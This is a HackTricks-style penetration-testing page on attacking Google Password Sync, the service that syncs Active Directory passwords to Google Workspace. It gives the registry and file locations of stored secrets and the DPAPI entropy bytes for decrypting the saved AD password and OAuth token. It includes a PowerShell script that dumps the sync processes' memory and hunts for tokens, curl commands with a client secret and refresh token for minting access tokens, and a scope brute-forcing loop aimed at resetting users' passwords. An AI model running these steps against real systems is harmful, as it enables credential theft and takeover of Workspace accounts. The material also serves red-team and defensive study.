GPS - Google Password Sync

Support HackTricks

Basic Information

This is the binary and service that Google offers in order to keep synchronized the passwords of the users between the AD and Workspace. Every-time a user changes his password in the AD, it's set to Google.

It gets installed in C:\Program Files\Google\Password Sync where you can find the binary PasswordSync.exe to configure it and password_sync_service.exe (the service that will continue running).

GPS - Configuration

To configure this binary (and service), it's needed to give it access to a Super Admin principal in Workspace:

  • Login via OAuth with Google and then it'll store a token in the registry (encrypted)

    • Only available in Domain Controllers with GUI

  • Giving some Service Account credentials from GCP (json file) with permissions to manage the Workspace users

    • Very bad idea as those credentials never expired and could be misused

    • Very bad idea give a SA access over workspace as the SA could get compromised in GCP and it'll possible to pivot to Workspace

    • Google require it for domain controlled without GUI

    • These creds are also stored in the registry

Regarding AD, it's possible to indicate it to use the current applications context, anonymous or some specific credentials. If the credentials option is selected, the username is stored inside a file in the disk and the password is encrypted and stored in the registry.

GPS - Dumping password and token from disk

Note that Winpeas is capable to detect GPS, get information about the configuration and even decrypt the password and token.

In the file C:\ProgramData\Google\Google Apps Password Sync\config.xml it's possible to find part of the configuration like the baseDN of the AD configured and the username whose credentials are being used.

In the registry HKLM\Software\Google\Google Apps Password Sync it's possible to find the encrypted refresh token and the encrypted password for the AD user (if any). Moreover, if instead of an token, some SA credentials are used, it's also possible to find those encrypted in that registry address. The values inside this registry are only accessible by Administrators.

The encrypted password (if any) is inside the key ADPassword and is encrypted using CryptProtectData API. To decrypt it, you need to be the same user as the one that configured the password sync and use this entropy when using the CryptUnprotectData: byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };

The encrypted token (if any) is inside the key AuthToken and is encrypted using CryptProtecData API. To decrypt it, you need to be the same user as the one that configured the password sync and use this entropy when using the CryptUnprotectData: byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b }; Moreover, it's also encoded using base32hex with the dictionary 0123456789abcdefghijklmnopqrstv.

The entropy values were found by using the tool . It was configured to monitor the calls to CryptUnprotectData and CryptProtectData and then the tool was used to launch and monitor PasswordSync.exe which will decrypt the configured password and auth token at the beginning and the tool will show the values for the entropy used in both cases:

Note that it's also possible to see the decrypted values in the input or output of the calls to these APIs also (in case at some point Winpeas stop working).

In case the Password Sync was configured with SA credentials, it will also be stored in keys inside the registry HKLM\Software\Google\Google Apps Password Sync.

GPS - Dumping tokens from memory

Just like with GCPW, it's possible to dump the memory of the process of the PasswordSync.exe and the password_sync_service.exe processes and you will be able to find refresh and access tokens (if they have been generated already). I guess you could also find the AD configured credentials.

Dump PasswordSync.exe and the password_sync_service.exe processes and search tokens
# Define paths for Procdump and Strings utilities   
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"   
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"   
$dumpFolder = "C:\Users\Public\dumps"   
 
# Regular expressions for tokens 
$tokenRegexes = @( 
    "ya29\.[a-zA-Z0-9_\.\-]{50,}", 
    "1//[a-zA-Z0-9_\.\-]{50,}" 
) 
 
# Show EULA if it wasn't accepted yet for strings 
$stringsPath 
 
# Create a directory for the dumps if it doesn't exist   
if (!(Test-Path $dumpFolder)) {   
    New-Item -Path $dumpFolder -ItemType Directory   
}   
 
# Get all Chrome process IDs   
$processNames = @("PasswordSync", "password_sync_service")
$chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id
 
# Dump each Chrome process   
foreach ($processId in $chromeProcesses) {   
    Write-Output "Dumping process with PID: $processId"   
    & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"   
}   
 
# Extract strings and search for tokens in each dump   
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {   
    $dumpFile = $_.FullName   
    $baseName = $_.BaseName 
    $asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"   
    $unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"   
 
    Write-Output "Extracting strings from $dumpFile"   
    & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile   
    & $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile   
 
    $outputFiles = @($asciiStringsFile, $unicodeStringsFile) 
 
    foreach ($file in $outputFiles) { 
        foreach ($regex in $tokenRegexes) { 
 
            $matches = Select-String -Path $file -Pattern $regex -AllMatches 
 
            $uniqueMatches = @{} 
 
            foreach ($matchInfo in $matches) { 
                foreach ($match in $matchInfo.Matches) { 
                    $matchValue = $match.Value 
                    if (-not $uniqueMatches.ContainsKey($matchValue)) { 
                        $uniqueMatches[$matchValue] = @{ 
                            LineNumber = $matchInfo.LineNumber 
                            LineText   = $matchInfo.Line.Trim() 
                            FilePath   = $matchInfo.Path 
                        } 
                    } 
                } 
            } 
 
            foreach ($matchValue in $uniqueMatches.Keys) { 
                $info = $uniqueMatches[$matchValue] 
                Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)" 
            } 
        } 
 
        Write-Output "" 
    } 
}

GPS - Generating access tokens from refresh tokens

Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:

curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
     --data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
     --data "grant_type=refresh_token" \
     --data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
     https://www.googleapis.com/oauth2/v4/token

GPS - Scopes

Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the scopes supported by the application where you are generating the access token.

Also, the refresh token is not valid in every application.

By default GPS won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the refresh_token to generate an access_token:

Bash script to brute-force scopes
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do 
    echo -ne "Testing $scope           \r"
    if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
     --data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
     --data "grant_type=refresh_token" \
     --data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
     --data "scope=$scope" \
     https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
        echo ""
        echo $scope
        echo $scope >> /tmp/valid_scopes.txt
    fi
done

echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt

And this is the output I got at the time of the writing:

https://www.googleapis.com/auth/admin.directory.user

Which is the same one you get if you don't indicate any scope.

With this scope you could modify the password of a existing user to escalate privileges.

Support HackTricks

Last updated